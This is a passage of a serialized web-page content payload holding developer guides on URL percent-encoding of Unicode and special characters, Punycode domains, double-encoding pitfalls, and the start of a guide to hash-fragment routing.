'%'",[1560,214602,29002],{"class":1669},[1560,214604,42211],{"class":1570},[1560,214606,10052],{"class":1566},[1560,214608,1688],{"class":1570},[1560,214610,10057],{"class":1576},[1560,214612,9368],{"class":1570},[1560,214614,38879],{"class":1566},[1560,214616,42138],{"class":1570},[1560,214618,42222],{"class":1566},[1560,214620,1688],{"class":1570},[1560,214622,10099],{"class":1576},[1560,214624,1459],{"class":1570},[1560,214626,17543],{"class":5634},[1560,214628,9429],{"class":1570},[1560,214630,214631,214633,214635,214637,214639],{"class":1562,"line":1710},[1560,214632,42200],{"class":1570},[1560,214634,9459],{"class":1566},[1560,214636,1688],{"class":1570},[1560,214638,5635],{"class":5634},[1560,214640,1744],{"class":1570},[1560,214642,214643],{"class":1562,"line":1717},[1560,214644,214645],{"class":1649},"\u002F\u002F Result: %E4%B8%AD\n",[33,214647,214649],{"id":214648},"examples-by-language","Examples by Language",[193,214651,214652,214665],{},[196,214653,214654],{},[199,214655,214656,214658,214660,214662],{},[202,214657,7809],{},[202,214659,9824],{},[202,214661,24078],{},[202,214663,214664],{},"Encoded URL",[211,214666,214667,214684,214700,214717,214734],{},[199,214668,214669,214671,214674,214679],{},[216,214670,187396],{},[216,214672,214673],{},"French",[216,214675,214676],{},[143,214677,214678],{},"63 61 66 C3 A9",[216,214680,214681],{},[143,214682,214683],{},"caf%C3%A9",[199,214685,214686,214688,214690,214695],{},[216,214687,212341],{},[216,214689,185508],{},[216,214691,214692],{},[143,214693,214694],{},"E4 B8 AD",[216,214696,214697],{},[143,214698,214699],{},"%E4%B8%AD",[199,214701,214702,214705,214707,214712],{},[216,214703,214704],{},"مرحبا",[216,214706,185520],{},[216,214708,214709],{},[143,214710,214711],{},"D9 85 D8 B1 D8 AD D8 A8 D8 A7",[216,214713,214714],{},[143,214715,214716],{},"%D9%85%D8%B1%D8%AD%D8%A8%D8%A7",[199,214718,214719,214721,214724,214729],{},[216,214720,185453],{},[216,214722,214723],{},"German",[216,214725,214726],{},[143,214727,214728],{},"4D C3 BC 6E 63 68 65 6E",[216,214730,214731],{},[143,214732,214733],{},"M%C3%BCnchen",[199,214735,214736,214739,214741,214746],{},[216,214737,214738],{},"東京",[216,214740,185533],{},[216,214742,214743],{},[143,214744,214745],{},"E6 9D B1 E4 BA AC",[216,214747,214748],{},[143,214749,214750],{},"%E6%9D%B1%E4%BA%AC",[11,214752,214754],{"id":214753},"internationalized-domain-names-idns","Internationalized Domain Names (IDNs)",[16,214756,214757,214758,214761],{},"Domain names with international characters use a separate encoding called ",[47,214759,214760],{},"Punycode"," rather than percent-encoding. The browser displays the Unicode form but resolves the domain using its ASCII representation.",[135,214763,214766],{"className":214764,"code":214765,"language":140},[138],"Unicode:    пример.рф\nPunycode:   xn--e1afmkfd.xn--p1acf\n",[143,214767,214765],{"__ignoreMap":141},[16,214769,214770,214771,214774,214775,214777],{},"This distinction matters: percent-encoding applies to the ",[47,214772,214773],{},"path and query"," portions of a URL, while Punycode applies to the ",[47,214776,8106],{},". Mixing them up causes resolution failures.",[11,214779,214781],{"id":214780},"query-parameters-with-international-text","Query Parameters with International Text",[16,214783,214784,214785,1856,214787,214789],{},"When sending international text in query parameters, always encode the value, not the entire URL. The ",[143,214786,7297],{},[143,214788,13530],{}," delimiters must remain unencoded:",[135,214791,214793],{"className":1607,"code":214792,"language":1609,"meta":141,"style":141},"\u002F\u002F Correct: encode only the value\nconst query = 'q=' + encodeURIComponent('München');\n\u002F\u002F \"q=M%C3%BCnchen\"\n\n\u002F\u002F Wrong: encoding the entire URL breaks the structure\nconst broken = encodeURI('https:\u002F\u002Fexample.com\u002Fsearch?q=München');\n\u002F\u002F This works but is fragile — encodeURI won't encode ?, #, &, =\n",[143,214794,214795,214800,214822,214827,214831,214836,214855],{"__ignoreMap":141},[1560,214796,214797],{"class":1562,"line":1563},[1560,214798,214799],{"class":1649},"\u002F\u002F Correct: encode only the value\n",[1560,214801,214802,214804,214806,214808,214811,214813,214815,214817,214820],{"class":1562,"line":337},[1560,214803,8180],{"class":1669},[1560,214805,34062],{"class":1576},[1560,214807,8186],{"class":1669},[1560,214809,214810],{"class":5634}," 'q='",[1560,214812,29002],{"class":1669},[1560,214814,33745],{"class":1566},[1560,214816,1688],{"class":1570},[1560,214818,214819],{"class":5634},"'München'",[1560,214821,1744],{"class":1570},[1560,214823,214824],{"class":1562,"line":343},[1560,214825,214826],{"class":1649},"\u002F\u002F \"q=M%C3%BCnchen\"\n",[1560,214828,214829],{"class":1562,"line":365},[1560,214830,1702],{"emptyLinePlaceholder":363},[1560,214832,214833],{"class":1562,"line":889},[1560,214834,214835],{"class":1649},"\u002F\u002F Wrong: encoding the entire URL breaks the structure\n",[1560,214837,214838,214840,214843,214845,214848,214850,214853],{"class":1562,"line":1710},[1560,214839,8180],{"class":1669},[1560,214841,214842],{"class":1576}," broken",[1560,214844,8186],{"class":1669},[1560,214846,214847],{"class":1566}," encodeURI",[1560,214849,1688],{"class":1570},[1560,214851,214852],{"class":5634},"'https:\u002F\u002Fexample.com\u002Fsearch?q=München'",[1560,214854,1744],{"class":1570},[1560,214856,214857],{"class":1562,"line":1717},[1560,214858,214859],{"class":1649},"\u002F\u002F This works but is fragile — encodeURI won't encode ?, #, &, =\n",[33,214861,214863],{"id":214862},"encodeuricomponent-vs-encodeuri","encodeURIComponent vs encodeURI",[193,214865,214866,214878],{},[196,214867,214868],{},[199,214869,214870,214872,214875],{},[202,214871,43834],{},[202,214873,214874],{},"Encodes",[202,214876,214877],{},"Leaves Unencoded",[211,214879,214880,214894],{},[199,214881,214882,214886,214889],{},[216,214883,214884],{},[143,214885,33927],{},[216,214887,214888],{},"International chars, spaces",[216,214890,214891],{},[143,214892,214893],{},": \u002F ? # [ ] @ ! $ & ' ( ) * + , ; =",[199,214895,214896,214900,214903],{},[216,214897,214898],{},[143,214899,33827],{},[216,214901,214902],{},"International chars, spaces, and all special chars",[216,214904,214905],{},[143,214906,214907],{},"~ ! ' ( ) *",[16,214909,1388,214910,214912,214913,214915],{},[143,214911,33827],{}," for query parameter values. Use ",[143,214914,33927],{}," only when you need to encode a full URL while preserving its structure.",[11,214917,214919],{"id":214918},"server-side-decoding","Server-Side Decoding",[16,214921,214922],{},"Most web frameworks automatically decode percent-encoded URL components. In Node.js:",[135,214924,214926],{"className":1607,"code":214925,"language":1609,"meta":141,"style":141},"\u002F\u002F Express automatically decodes route parameters\napp.get('\u002Fsearch\u002F:query', (req, res) => {\n  const decoded = req.params.query; \u002F\u002F Already decoded from %C3%BC to ü\n});\n\n\u002F\u002F Manual decoding when needed\nconst decoded = decodeURIComponent('M%C3%BCnchen'); \u002F\u002F \"München\"\n",[143,214927,214928,214933,214958,214972,214976,214980,214985],{"__ignoreMap":141},[1560,214929,214930],{"class":1562,"line":1563},[1560,214931,214932],{"class":1649},"\u002F\u002F Express automatically decodes route parameters\n",[1560,214934,214935,214937,214939,214941,214944,214946,214948,214950,214952,214954,214956],{"class":1562,"line":337},[1560,214936,208274],{"class":1570},[1560,214938,82334],{"class":1566},[1560,214940,1688],{"class":1570},[1560,214942,214943],{"class":5634},"'\u002Fsearch\u002F:query'",[1560,214945,38863],{"class":1570},[1560,214947,208290],{"class":2219},[1560,214949,1459],{"class":1570},[1560,214951,208295],{"class":2219},[1560,214953,1733],{"class":1570},[1560,214955,11503],{"class":1669},[1560,214957,1571],{"class":1570},[1560,214959,214960,214962,214964,214966,214969],{"class":1562,"line":343},[1560,214961,28057],{"class":1669},[1560,214963,22986],{"class":1576},[1560,214965,8186],{"class":1669},[1560,214967,214968],{"class":1570}," req.params.query; ",[1560,214970,214971],{"class":1649},"\u002F\u002F Already decoded from %C3%BC to ü\n",[1560,214973,214974],{"class":1562,"line":365},[1560,214975,11809],{"class":1570},[1560,214977,214978],{"class":1562,"line":889},[1560,214979,1702],{"emptyLinePlaceholder":363},[1560,214981,214982],{"class":1562,"line":1710},[1560,214983,214984],{"class":1649},"\u002F\u002F Manual decoding when needed\n",[1560,214986,214987,214989,214991,214993,214995,214997,215000,215002],{"class":1562,"line":1717},[1560,214988,8180],{"class":1669},[1560,214990,22986],{"class":1576},[1560,214992,8186],{"class":1669},[1560,214994,33858],{"class":1566},[1560,214996,1688],{"class":1570},[1560,214998,214999],{"class":5634},"'M%C3%BCnchen'",[1560,215001,5171],{"class":1570},[1560,215003,215004],{"class":1649},"\u002F\u002F \"München\"\n",[16,215006,215007,215008,215010],{},"Be cautious with double-encoding. If you encode a value that is already encoded, the ",[143,215009,17990],{}," signs themselves get encoded, producing broken output:",[135,215012,215014],{"className":1607,"code":215013,"language":1609,"meta":141,"style":141},"\u002F\u002F Double encoding problem\nconst once = encodeURIComponent('café');  \u002F\u002F \"caf%C3%A9\"\nconst twice = encodeURIComponent(once);    \u002F\u002F \"caf%25C3%25A9\" — broken\n",[143,215015,215016,215021,215041],{"__ignoreMap":141},[1560,215017,215018],{"class":1562,"line":1563},[1560,215019,215020],{"class":1649},"\u002F\u002F Double encoding problem\n",[1560,215022,215023,215025,215028,215030,215032,215034,215036,215038],{"class":1562,"line":337},[1560,215024,8180],{"class":1669},[1560,215026,215027],{"class":1576}," once",[1560,215029,8186],{"class":1669},[1560,215031,33745],{"class":1566},[1560,215033,1688],{"class":1570},[1560,215035,185850],{"class":5634},[1560,215037,14724],{"class":1570},[1560,215039,215040],{"class":1649},"\u002F\u002F \"caf%C3%A9\"\n",[1560,215042,215043,215045,215048,215050,215052,215055],{"class":1562,"line":343},[1560,215044,8180],{"class":1669},[1560,215046,215047],{"class":1576}," twice",[1560,215049,8186],{"class":1669},[1560,215051,33745],{"class":1566},[1560,215053,215054],{"class":1570},"(once);    ",[1560,215056,215057],{"class":1649},"\u002F\u002F \"caf%25C3%25A9\" — broken\n",[11,215059,215061],{"id":215060},"seo-considerations-for-international-urls","SEO Considerations for International URLs",[16,215063,215064],{},"Google recommends using UTF-8 encoded URLs for non-ASCII characters rather than converting to ASCII approximations. The search engine displays the decoded Unicode characters in results, making the URL more readable for users.",[135,215066,215069],{"className":215067,"code":215068,"language":140},[138],"Preferred: https:\u002F\u002Fexample.com\u002Fcaf%C3%A9\nAvoid:     https:\u002F\u002Fexample.com\u002Fcafe\n",[143,215070,215068],{"__ignoreMap":141},[16,215072,215073],{},"Slug-based URLs often transliterate international characters to ASCII for simplicity. This approach works but sacrifices readability for non-Latin scripts.",[11,215075,1355],{"id":1354},[41,215077,215078,215081,215084,215091,215094],{},[44,215079,215080],{},"URL encoding for international characters converts Unicode to UTF-8 bytes, then percent-encodes each byte",[44,215082,215083],{},"Domain names use Punycode, not percent-encoding — the two systems are separate",[44,215085,1388,215086,215088,215089,34483],{},[143,215087,33827],{}," for query values, ",[143,215090,33927],{},[44,215092,215093],{},"Double-encoding breaks URLs — decode before re-encoding",[44,215095,215096],{},"Google handles UTF-8 encoded URLs well and displays Unicode in search results",[11,215098,286],{"id":285},[16,215100,215101,215102,215104],{},"Need to encode international characters in URLs? Use our free ",[98,215103,34510],{"href":34509}," to percent-encode any text instantly. Supports Unicode, Chinese, Arabic, and all international character sets — all processing happens locally in your browser.",[16,215106,215107],{},[98,215108,34516],{"href":34509},[2043,215110,201673],{},{"title":141,"searchDepth":337,"depth":337,"links":215112},[215113,215114,215118,215119,215122,215123,215124,215125],{"id":214487,"depth":337,"text":214488},{"id":214497,"depth":337,"text":214498,"children":215115},[215116,215117],{"id":214501,"depth":343,"text":214502},{"id":214648,"depth":343,"text":214649},{"id":214753,"depth":337,"text":214754},{"id":214780,"depth":337,"text":214781,"children":215120},[215121],{"id":214862,"depth":343,"text":214863},{"id":214918,"depth":337,"text":214919},{"id":215060,"depth":337,"text":215061},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},"Learn how URL encoding handles international characters, Unicode, and non-ASCII text. Understand UTF-8 percent encoding for multilingual URLs.",{"immutable":363},"\u002Fguides\u002Furl-encoding-international-characters",{"title":214482,"description":215126},"guides\u002Furl-encoding-international-characters","XJeVyNqzN6wiQd0fLk7XHyDFDqU2m63h5LbO9IX7neI",{"id":215133,"title":215134,"body":215135,"date":2070,"description":215746,"extension":361,"meta":215747,"navigation":363,"path":215748,"readingTime":1710,"seo":215749,"stem":215750,"__hash__":215751},"guides\u002Fguides\u002Furl-encoding-special-chars.md","URL Encoding Special Characters Guide",{"type":8,"value":215136,"toc":215731},[215137,215143,215147,215151,215154,215302,215306,215309,215447,215449,215452,215471,215533,215553,215557,215560,215566,215569,215571,215574,215577,215631,215644,215648,215654,215660,215664,215673,215679,215682,215684,215720,215722,215728],[16,215138,215139,215140,215142],{},"URLs can only contain a limited set of ASCII characters — letters, digits, and a few reserved punctuation marks. Everything else must be percent-encoded: replaced by a ",[143,215141,17990],{}," sign followed by two hexadecimal digits. Knowing which characters require encoding and when is essential for building correct links, query strings, and API requests.",[11,215144,215146],{"id":215145},"characters-that-require-encoding","Characters That Require Encoding",[33,215148,215150],{"id":215149},"reserved-characters","Reserved Characters",[16,215152,215153],{},"Reserved characters have special meaning in URL syntax. When they appear as data (not as delimiters), they must be encoded.",[193,215155,215156,215167],{},[196,215157,215158],{},[199,215159,215160,215162,215164],{},[202,215161,7809],{},[202,215163,172482],{},[202,215165,215166],{},"Purpose in URL Syntax",[211,215168,215169,215182,215195,215208,215221,215234,215248,215262,215276,215289],{},[199,215170,215171,215175,215179],{},[216,215172,215173],{},[143,215174,13530],{},[216,215176,215177],{},[143,215178,84136],{},[216,215180,215181],{},"Query parameter separator",[199,215183,215184,215188,215192],{},[216,215185,215186],{},[143,215187,7297],{},[216,215189,215190],{},[143,215191,172524],{},[216,215193,215194],{},"Key-value assignment",[199,215196,215197,215201,215205],{},[216,215198,215199],{},[143,215200,33994],{},[216,215202,215203],{},[143,215204,98679],{},[216,215206,215207],{},"Query string start",[199,215209,215210,215214,215218],{},[216,215211,215212],{},[143,215213,6852],{},[216,215215,215216],{},[143,215217,172538],{},[216,215219,215220],{},"Fragment identifier",[199,215222,215223,215227,215231],{},[216,215224,215225],{},[143,215226,9423],{},[216,215228,215229],{},[143,215230,84140],{},[216,215232,215233],{},"Path separator",[199,215235,215236,215240,215245],{},[216,215237,215238],{},[143,215239,8037],{},[216,215241,215242],{},[143,215243,215244],{},"%3A",[216,215246,215247],{},"Scheme\u002Fport separator",[199,215249,215250,215254,215259],{},[216,215251,215252],{},[143,215253,36973],{},[216,215255,215256],{},[143,215257,215258],{},"%3B",[216,215260,215261],{},"Parameter separator",[199,215263,215264,215268,215273],{},[216,215265,215266],{},[143,215267,6849],{},[216,215269,215270],{},[143,215271,215272],{},"%40",[216,215274,215275],{},"Authority delimiter",[199,215277,215278,215282,215286],{},[216,215279,215280],{},[143,215281,9448],{},[216,215283,215284],{},[143,215285,172565],{},[216,215287,215288],{},"Space (form encoding)",[199,215290,215291,215295,215299],{},[216,215292,215293],{},[143,215294,17990],{},[216,215296,215297],{},[143,215298,33701],{},[216,215300,215301],{},"Encoding prefix itself",[33,215303,215305],{"id":215304},"unsafe-and-non-ascii-characters","Unsafe and Non-ASCII Characters",[16,215307,215308],{},"Characters that have no defined role in URLs, or that may be modified by transport layers, should always be encoded.",[193,215310,215311,215321],{},[196,215312,215313],{},[199,215314,215315,215317,215319],{},[202,215316,7809],{},[202,215318,172482],{},[202,215320,23393],{},[211,215322,215323,215336,215350,215363,215377,215396,215410,215421,215435],{},[199,215324,215325,215327,215333],{},[216,215326,6093],{},[216,215328,215329,1531,215331],{},[143,215330,34150],{},[143,215332,9448],{},[216,215334,215335],{},"Not allowed in URLs",[199,215337,215338,215342,215347],{},[216,215339,215340],{},[143,215341,6431],{},[216,215343,215344],{},[143,215345,215346],{},"%3C",[216,215348,215349],{},"HTML injection risk",[199,215351,215352,215356,215361],{},[216,215353,215354],{},[143,215355,28226],{},[216,215357,215358],{},[143,215359,215360],{},"%3E",[216,215362,215349],{},[199,215364,215365,215369,215374],{},[216,215366,215367],{},[143,215368,8721],{},[216,215370,215371],{},[143,215372,215373],{},"%22",[216,215375,215376],{},"Delimiter in HTML attributes",[199,215378,215379,215385,215393],{},[216,215380,215381,6841,215383],{},[143,215382,51622],{},[143,215384,8230],{},[216,215386,215387,6841,215390],{},[143,215388,215389],{},"%7B",[143,215391,215392],{},"%7D",[216,215394,215395],{},"Unsafe, often filtered",[199,215397,215398,215402,215407],{},[216,215399,215400],{},[143,215401,34605],{},[216,215403,215404],{},[143,215405,215406],{},"%5C",[216,215408,215409],{},"Path manipulation risk",[199,215411,215412,215414,215416],{},[216,215413,8219],{},[216,215415,8219],{},[216,215417,215418],{},[143,215419,215420],{},"%7C",[199,215422,215423,215427,215432],{},[216,215424,215425],{},[143,215426,24101],{},[216,215428,215429],{},[143,215430,215431],{},"%C3%A9",[216,215433,215434],{},"Non-ASCII (UTF-8 encoded)",[199,215436,215437,215441,215445],{},[216,215438,215439],{},[143,215440,212341],{},[216,215442,215443],{},[143,215444,214699],{},[216,215446,215434],{},[33,215448,173241],{"id":172571},[16,215450,215451],{},"Spaces in URLs have two encodings, and the difference matters:",[41,215453,215454,215461],{},[44,215455,215456,215460],{},[47,215457,215458],{},[143,215459,34150],{}," — The standard percent-encoding defined by RFC 3986. Used in path segments and any part of the URL.",[44,215462,215463,215467,215468,215470],{},[47,215464,215465],{},[143,215466,9448],{}," — Defined by the ",[143,215469,172598],{}," media type (HTML form submissions). Only valid in query strings.",[135,215472,215474],{"className":1607,"code":215473,"language":1609,"meta":141,"style":141},"\u002F\u002F Correct: encode path spaces as %20\nconst path = '\u002Ffiles\u002Fmy%20document.pdf';\n\n\u002F\u002F Correct: encode query spaces as + (form-style) or %20\nconst query = 'name=John+Doe';\nconst query2 = 'name=John%20Doe';  \u002F\u002F Also valid in query strings\n",[143,215475,215476,215481,215494,215498,215503,215516],{"__ignoreMap":141},[1560,215477,215478],{"class":1562,"line":1563},[1560,215479,215480],{"class":1649},"\u002F\u002F Correct: encode path spaces as %20\n",[1560,215482,215483,215485,215487,215489,215492],{"class":1562,"line":337},[1560,215484,8180],{"class":1669},[1560,215486,130931],{"class":1576},[1560,215488,8186],{"class":1669},[1560,215490,215491],{"class":5634}," '\u002Ffiles\u002Fmy%20document.pdf'",[1560,215493,2228],{"class":1570},[1560,215495,215496],{"class":1562,"line":343},[1560,215497,1702],{"emptyLinePlaceholder":363},[1560,215499,215500],{"class":1562,"line":365},[1560,215501,215502],{"class":1649},"\u002F\u002F Correct: encode query spaces as + (form-style) or %20\n",[1560,215504,215505,215507,215509,215511,215514],{"class":1562,"line":889},[1560,215506,8180],{"class":1669},[1560,215508,34062],{"class":1576},[1560,215510,8186],{"class":1669},[1560,215512,215513],{"class":5634}," 'name=John+Doe'",[1560,215515,2228],{"class":1570},[1560,215517,215518,215520,215523,215525,215528,215530],{"class":1562,"line":1710},[1560,215519,8180],{"class":1669},[1560,215521,215522],{"class":1576}," query2",[1560,215524,8186],{"class":1669},[1560,215526,215527],{"class":5634}," 'name=John%20Doe'",[1560,215529,3409],{"class":1570},[1560,215531,215532],{"class":1649},"\u002F\u002F Also valid in query strings\n",[16,215534,215535,215536,215539,215540,215542,215543,215545,215546,215549,215550,215552],{},"Mixing these up causes bugs. Decoding ",[143,215537,215538],{},"my+document.pdf"," as a path produces ",[143,215541,215538],{}," (the ",[143,215544,9448],{}," is literal), while decoding it as form data produces ",[143,215547,215548],{},"my document.pdf",". Always use ",[143,215551,34150],{}," for paths and either form for queries, but decode consistently.",[11,215554,215556],{"id":215555},"unicode-encoding","Unicode Encoding",[16,215558,215559],{},"Non-ASCII characters are encoded as their UTF-8 byte sequence, with each byte percent-encoded:",[135,215561,215564],{"className":215562,"code":215563,"language":140},[138],"Character:  é\nUnicode:    U+00E9\nUTF-8:      0xC3 0xA9\nEncoded:    %C3%A9\n\nCharacter:  中\nUnicode:    U+4E2D\nUTF-8:      0xE4 0xB8 0xAD\nEncoded:    %E4%B8%AD\n\nCharacter:  😊\nUnicode:    U+1F60A\nUTF-8:      0xF0 0x9F 0x98 0x8A\nEncoded:    %F0%9F%98%8A\n",[143,215565,215563],{"__ignoreMap":141},[16,215567,215568],{},"Modern browsers display Unicode characters in the address bar for readability, but the underlying bytes are always percent-encoded. You can verify this by copying a URL with non-ASCII characters and pasting it into a plain text editor.",[11,215570,10393],{"id":10392},[33,215572,215573],{"id":101940},"Double Encoding",[16,215575,215576],{},"Encoding an already-encoded string produces double-encoded output that breaks the URL:",[135,215578,215580],{"className":1607,"code":215579,"language":1609,"meta":141,"style":141},"const query = 'a=b&c=d';\nconst encoded = encodeURIComponent(query);     \u002F\u002F a%3Db%26c%3Dd\nconst doubleEncoded = encodeURIComponent(encoded); \u002F\u002F a%253Db%2526c%253Dd\n\u002F\u002F Decoding double-encoded string: a%3Db%26c%3Dd (still encoded!)\n",[143,215581,215582,215595,215611,215626],{"__ignoreMap":141},[1560,215583,215584,215586,215588,215590,215593],{"class":1562,"line":1563},[1560,215585,8180],{"class":1669},[1560,215587,34062],{"class":1576},[1560,215589,8186],{"class":1669},[1560,215591,215592],{"class":5634}," 'a=b&c=d'",[1560,215594,2228],{"class":1570},[1560,215596,215597,215599,215601,215603,215605,215608],{"class":1562,"line":337},[1560,215598,8180],{"class":1669},[1560,215600,22961],{"class":1576},[1560,215602,8186],{"class":1669},[1560,215604,33745],{"class":1566},[1560,215606,215607],{"class":1570},"(query);     ",[1560,215609,215610],{"class":1649},"\u002F\u002F a%3Db%26c%3Dd\n",[1560,215612,215613,215615,215617,215619,215621,215623],{"class":1562,"line":343},[1560,215614,8180],{"class":1669},[1560,215616,33767],{"class":1576},[1560,215618,8186],{"class":1669},[1560,215620,33745],{"class":1566},[1560,215622,33774],{"class":1570},[1560,215624,215625],{"class":1649},"\u002F\u002F a%253Db%2526c%253Dd\n",[1560,215627,215628],{"class":1562,"line":365},[1560,215629,215630],{"class":1649},"\u002F\u002F Decoding double-encoded string: a%3Db%26c%3Dd (still encoded!)\n",[16,215632,215633,215634,215636,215637,1459,215639,1466,215641,215643],{},"Never encode a full URL with ",[143,215635,33827],{},". It encodes the ",[143,215638,8037],{},[143,215640,9423],{},[143,215642,33994],{}," that are part of the URL structure. Use it only on individual parameter values.",[33,215645,215647],{"id":215646},"ampersand-in-parameter-values","Ampersand in Parameter Values",[16,215649,215650,215651,215653],{},"An unencoded ",[143,215652,13530],{}," in a query parameter value truncates the value:",[135,215655,215658],{"className":215656,"code":215657,"language":140},[138],"Wrong:  ?redirect=https:\u002F\u002Fexample.com?a=1&b=2\n       → redirect = \"https:\u002F\u002Fexample.com?a=1\", b = \"2\" (separate param)\n\nRight:  ?redirect=https%3A%2F%2Fexample.com%3Fa%3D1%26b%3D2\n       → redirect = \"https:\u002F\u002Fexample.com?a=1&b=2\"\n",[143,215659,215657],{"__ignoreMap":141},[33,215661,215663],{"id":215662},"slash-encoding-in-paths","Slash Encoding in Paths",[16,215665,215666,215667,215669,215670,215672],{},"Some web frameworks decode ",[143,215668,84140],{}," in path segments, while others treat it as a literal ",[143,215671,84140],{},". This causes routing discrepancies:",[135,215674,215677],{"className":215675,"code":215676,"language":140},[138],"\u002Ffiles\u002Fpath%2Fto%2Ffile → May route to \u002Ffiles\u002Fpath\u002Fto\u002Ffile OR \u002Ffiles\u002Fpath%2Fto%2Ffile\n",[143,215678,215676],{"__ignoreMap":141},[16,215680,215681],{},"If slashes in a path parameter are meaningful data, test your framework's behavior explicitly.",[11,215683,1355],{"id":1354},[41,215685,215686,215700,215708,215711,215717],{},[44,215687,215688,215689,1459,215691,1459,215693,1459,215695,1459,215697,215699],{},"Reserved characters (",[143,215690,13530],{},[143,215692,7297],{},[143,215694,33994],{},[143,215696,6852],{},[143,215698,9423],{},") must be encoded when used as data, not delimiters.",[44,215701,1388,215702,215704,215705,215707],{},[143,215703,34150],{}," for spaces in paths; ",[143,215706,9448],{}," is only valid in form-encoded query strings.",[44,215709,215710],{},"Unicode characters are percent-encoded as their UTF-8 byte sequences.",[44,215712,215713,215714,215716],{},"Never ",[143,215715,33827],{}," a full URL — only encode individual query values.",[44,215718,215719],{},"Double encoding is a common source of broken links; always encode exactly once.",[11,215721,286],{"id":285},[16,215723,215724,215725,215727],{},"Need to encode or decode a URL? Paste it into the ",[98,215726,34510],{"href":34509}," to see each component properly percent-encoded, or decode an encoded URL to inspect its original form.",[2043,215729,215730],{},"html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}",{"title":141,"searchDepth":337,"depth":337,"links":215732},[215733,215738,215739,215744,215745],{"id":215145,"depth":337,"text":215146,"children":215734},[215735,215736,215737],{"id":215149,"depth":343,"text":215150},{"id":215304,"depth":343,"text":215305},{"id":172571,"depth":343,"text":173241},{"id":215555,"depth":337,"text":215556},{"id":10392,"depth":337,"text":10393,"children":215740},[215741,215742,215743],{"id":101940,"depth":343,"text":215573},{"id":215646,"depth":343,"text":215647},{"id":215662,"depth":343,"text":215663},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},"Complete reference for encoding ampersands, spaces, slashes, and Unicode in URLs.",{"immutable":363},"\u002Fguides\u002Furl-encoding-special-chars",{"title":215134,"description":215746},"guides\u002Furl-encoding-special-chars","skASc5zzXNRWGs-loEeTmrY9F6hJ_pJG3XqyJSHLcFE",{"id":215753,"title":215754,"body":215755,"date":2070,"description":216412,"extension":361,"meta":216413,"navigation":363,"path":216414,"readingTime":1710,"seo":216415,"stem":216416,"__hash__":216417},"guides\u002Fguides\u002Furl-fragment-routing.md","URL Hash Fragment Routing Guide",{"type":8,"value":215756,"toc":216398},[215757,215763,215767,215774,215796,215806,215810,215817,215875,215881,215885,215888,215894,215900,216036,216040,216087,216091,216150,216154,216167,216223,216232,216305,216309,216312,216338,216342,216348,216354,216360,216366,216368,216387,216389,216395],[16,215758,215759,215760,215762],{},"Everything after the ",[143,215761,6852],{}," in a URL is the hash fragment — and it occupies a unique position in web architecture. Unlike the path and query string, the fragment is never sent to the server. It exists entirely within the browser, which makes it the original mechanism for client-side routing in single-page applications (SPAs). Understanding how fragment routing works helps you debug navigation issues, implement anchor links, and choose between hash-based and history-based routing.",[11,215764,215766],{"id":215765},"how-hash-fragments-work","How Hash Fragments Work",[16,215768,215769,215770,215773],{},"When a browser loads ",[143,215771,215772],{},"https:\u002F\u002Fexample.com\u002Fpage#section-2",", it:",[77,215775,215776,215787,215790],{},[44,215777,215778,215779,215782,215783,215786],{},"Sends a request for ",[143,215780,215781],{},"https:\u002F\u002Fexample.com\u002Fpage"," (the fragment ",[143,215784,215785],{},"#section-2"," is omitted)",[44,215788,215789],{},"Renders the page",[44,215791,215792,215793],{},"Scrolls to the element with ",[143,215794,215795],{},"id=\"section-2\"",[16,215797,215798,215799,215802,215803,215805],{},"If JavaScript later changes the fragment via ",[143,215800,215801],{},"location.hash = 'section-3'",", the browser updates the URL and scrolls to the new anchor — but it does ",[47,215804,28839],{}," make a new server request.",[33,215807,215809],{"id":215808},"the-hashchangeevent","The HashChangeEvent",[16,215811,215812,215813,215816],{},"Browsers fire a ",[143,215814,215815],{},"hashchange"," event whenever the fragment changes, whether from user navigation or JavaScript:",[135,215818,215820],{"className":1607,"code":215819,"language":1609,"meta":141,"style":141},"window.addEventListener('hashchange', (event) => {\n  console.log('Old:', event.oldURL);\n  console.log('New:', event.newURL);\n});\n",[143,215821,215822,215843,215857,215871],{"__ignoreMap":141},[1560,215823,215824,215826,215828,215830,215833,215835,215837,215839,215841],{"class":1562,"line":1563},[1560,215825,11763],{"class":1570},[1560,215827,11766],{"class":1566},[1560,215829,1688],{"class":1570},[1560,215831,215832],{"class":5634},"'hashchange'",[1560,215834,38863],{"class":1570},[1560,215836,135889],{"class":2219},[1560,215838,1733],{"class":1570},[1560,215840,11503],{"class":1669},[1560,215842,1571],{"class":1570},[1560,215844,215845,215847,215849,215851,215854],{"class":1562,"line":337},[1560,215846,9717],{"class":1570},[1560,215848,8214],{"class":1566},[1560,215850,1688],{"class":1570},[1560,215852,215853],{"class":5634},"'Old:'",[1560,215855,215856],{"class":1570},", event.oldURL);\n",[1560,215858,215859,215861,215863,215865,215868],{"class":1562,"line":343},[1560,215860,9717],{"class":1570},[1560,215862,8214],{"class":1566},[1560,215864,1688],{"class":1570},[1560,215866,215867],{"class":5634},"'New:'",[1560,215869,215870],{"class":1570},", 